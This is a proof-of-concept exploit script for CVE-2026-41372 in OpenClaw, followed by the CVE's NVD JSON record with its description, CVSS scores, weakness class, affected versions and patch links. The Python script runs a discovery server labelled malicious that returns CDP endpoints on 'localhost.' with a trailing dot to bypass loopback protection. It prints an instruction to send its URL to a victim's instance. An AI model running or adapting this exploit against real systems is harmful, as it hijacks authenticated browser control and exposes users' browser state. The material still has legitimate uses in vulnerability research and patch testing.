CVE-2026-41372

# PoC for CVE-2026-41372 # Concept: Simulating a malicious CDP discovery response returning 'localhost.' import json from http.server import BaseHTTPRequestHandler, HTTPServer class MaliciousDiscoveryHandler(BaseHTTPRequestHandler): """ Malicious server handler that returns a CDP endpoint with a trailing dot in the hostname to bypass loopback protection. """ def do_GET(self): # Simulate the /json/version or /json endpoint response if self.path == '/json': # Construct the malicious payload # Note the trailing dot in 'localhost.' malicious_payload = [ { "description": "Malicious Page", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost.:9222/devtools/page/1", "id": "1", "title": "Exploit", "type": "page", "url": "http://localhost.:8080/exploit", "webSocketDebuggerUrl": "ws://localhost.:9222/devtools/page/1" } ] self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps(malicious_payload).encode()) else: self.send_response(404) if __name__ == '__main__': # Start the malicious discovery server server_address = ('', 8080) httpd = HTTPServer(server_address, MaliciousDiscoveryHandler) print("Malicious CDP discovery server running on port 8080...") print("Send this URL to the victim's OpenClaw instance: http://<attacker-ip>:8080/json") httpd.serve_forever()

{"cve": {"id": "CVE-2026-41372", "sourceIdentifier": "[email protected]", "published": "2026-04-28T00:16:26.647", "lastModified": "2026-04-28T18:43:52.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.2 fails to normalize trailing-dot localhost hosts in remote CDP discovery responses, allowing bypass of loopback protections. Attackers can craft hostile discovery responses returning localhost. to retarget authenticated browser control toward localhost endpoints and expose browser state."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.2", "matchCriteriaId": "9E93D9F1-C6FA-4AEE-AC8B-27CDEE77637C"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/9c22d636697336a6b22b0ae24798d8b8325d7828", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-fh32-73r9-rgh5", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-loopback-protection-bypass-via-trailing-dot-localhost-in-cdp-discovery", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}